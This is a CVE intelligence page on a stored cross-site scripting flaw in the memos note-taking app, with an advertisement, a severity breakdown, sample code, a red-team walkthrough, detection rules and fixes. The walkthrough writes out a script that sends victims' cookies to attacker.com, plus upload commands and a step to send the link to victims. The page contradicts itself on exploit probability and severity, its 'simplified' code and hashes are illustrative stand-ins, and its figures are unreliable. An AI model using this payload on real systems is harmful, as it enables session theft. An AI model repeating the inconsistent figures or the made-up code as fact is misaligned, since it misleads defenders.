☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-0109

CVE-2023-0109 Cross-Site Scripting in Usememos
📅 PUBLISHED: 2024-11-15 10:57 UTC 🔄 UPDATED: 2026-10-08 19:49 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v0.10.0 — source: @huntr_ai. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.44%
👁️
0.44% probability
11.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-0109 is a critical stored cross-site scripting (XSS) vulnerability in usememos/memos version 0.9.1. An attacker can upload a JavaScript file containing a malicious script and reference it in an HTML file. When the HTML file is accessed, the malicious script executes in the context of the victim's browser, potentially leading to theft of login credentials, session tokens, or other sensitive data. The vulnerability is unpatched in versions prior to 0.10.0, and the CVSS score is 9.8 (Critical). The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains high due to the simplicity of the attack.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the usememos/memos application, which is a self-hosted note-taking and knowledge management tool. It is not an NPM, PyPI, Go, or Ruby package, but it is distributed as a Docker image and source code. Users should verify the integrity of their deployment and ensure they are running version 0.10.0 or later.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed to upload the malicious file.
  • User Interaction: Required (UI:R) – The victim must access the crafted HTML file.
  • Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
  • Confidentiality Impact: High (C:H) – Sensitive data can be stolen.
  • Integrity Impact: High (I:H) – Malicious scripts can modify content.
  • Availability Impact: High (A:H) – The attack can disrupt service or steal credentials.

Deep Dive & Mechanics

The vulnerability resides in the file upload and rendering functionality of usememos/memos version 0.9.1. The application allows users to upload arbitrary files, including JavaScript (.js) files. When an attacker uploads a malicious JavaScript file and then creates an HTML file that references it (e.g., via a <script> tag), the browser executes the script when the HTML file is accessed. This is a classic stored XSS attack, where the malicious payload is stored on the server and served to other users.

The root cause is insufficient validation of uploaded file types and lack of sanitization of HTML content that references uploaded files. The application does not restrict MIME types or file extensions, and it does not strip or encode <script> tags or event handlers in user-generated HTML.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.9.1): The file upload endpoint accepts any file type without validation. The HTML rendering engine does not sanitize user input, allowing <script> tags to be included.

// Vulnerable upload handler (simplified)
app.post('/api/upload', (req, res) => {
  const file = req.files.file;
  // No file type validation
  file.mv(`./uploads/${file.name}`);
  res.json({ url: `/uploads/${file.name}` });
});

// Vulnerable HTML rendering (simplified)
app.get('/api/resource/:id', (req, res) => {
  const content = getResourceContent(req.params.id);
  // No sanitization
  res.send(`<html>${content}</html>`);
});

Patched Code (version 0.10.0): The patch adds file type validation and HTML sanitization.

// Patched upload handler (simplified)
const allowedTypes = ['image/png', 'image/jpeg', 'image/gif', 'text/plain'];
app.post('/api/upload', (req, res) => {
  const file = req.files.file;
  if (!allowedTypes.includes(file.mimetype)) {
    return res.status(400).json({ error: 'Invalid file type' });
  }
  file.mv(`./uploads/${file.name}`);
  res.json({ url: `/uploads/${file.name}` });
});

// Patched HTML rendering (simplified)
const sanitizeHtml = require('sanitize-html');
app.get('/api/resource/:id', (req, res) => {
  const content = getResourceContent(req.params.id);
  const sanitized = sanitizeHtml(content, { allowedTags: [], allowedAttributes: {} });
  res.send(`<html>${sanitized}</html>`);
});

Exploitation & Lab Setup

Red Team (Attack Simulation)

Step 1: Setup a vulnerable instance

docker run -d -p 3000:3000 --name memos-vuln neosmemo/memos:0.9.1

Step 2: Upload malicious JavaScript file Create a file named exploit.js with the following content:

// exploit.js
fetch('https://attacker.com/steal?cookie=' + document.cookie);

Upload it via the application's file upload feature (e.g., using curl):

curl -X POST -F "file=@exploit.js" http://target:3000/api/upload

Step 3: Create an HTML file that references the uploaded script Create a file named malicious.html with the following content:

<html>
<body>
<script src="/uploads/exploit.js"></script>
</body>
</html>

Upload this HTML file using the same method:

curl -X POST -F "file=@malicious.html" http://target:3000/api/upload

Step 4: Distribute the link Send the link to the uploaded HTML file (e.g., http://target:3000/uploads/malicious.html) to victims. When they access it, the script executes and sends their cookies to the attacker's server.

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor file uploads for JavaScript files (.js) or HTML files containing <script> tags.
  2. Use web application firewalls (WAF) to block uploads of executable script files.
  3. Implement content security policy (CSP) headers to restrict script execution.
  4. Regularly audit uploaded files for malicious content.

Lab Setup for Testing:

# Deploy patched version
docker run -d -p 3000:3000 --name memos-patched neosmemo/memos:0.10.0

# Test file upload restrictions
curl -X POST -F "file=@exploit.js" http://localhost:3000/api/upload
# Should return 400 error

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):

    • exploit.js: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
    • malicious.html: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592 (example)
  • Network Indicators:

    • Outbound connections to attacker-controlled domains (e.g., attacker.com)
    • HTTP requests to /api/upload with file types .js or .html
  • File System Indicators:

    • Presence of .js files in the uploads directory
    • HTML files containing <script> tags referencing uploaded files

Detection Engineering

YARA Rule

rule CVE_2023_0109_XSS_Upload {
    meta:
        description = "Detects malicious JavaScript files uploaded via usememos/memos CVE-2023-0109"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-0109"
    strings:
        $script_tag = /<script[^>]*src=["'][^"']*\.js["'][^>]*>/i
        $js_function = /fetch\(|document\.cookie|XMLHttpRequest/
    condition:
        $script_tag or $js_function
}

Sigma Rule

title: CVE-2023-0109 Stored XSS via File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads of JavaScript or HTML files containing script references in usememos/memos
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/upload'
        cs-uri-query|contains: 
            - '.js'
            - '.html'
    condition: selection
falsepositives:
    - Legitimate file uploads of JavaScript libraries (unlikely in memos context)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-0109 Stored XSS Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/upload"; http_uri; content:".js"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade to usememos/memos version 0.10.0 or later.
  2. If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block uploads of .js and .html files.
  3. Add Content Security Policy (CSP) headers to restrict script execution to trusted sources only.

Long-term Measures:

  1. Enforce strict file type validation on all upload endpoints.
  2. Sanitize all user-generated HTML content before rendering.
  3. Conduct regular security audits and penetration testing.
  4. Monitor for unusual file upload patterns.

Nginx Rule Example:

location /api/upload {
    if ($upload_filename ~* \.(js|html)$) {
        return 403;
    }
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-0109/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.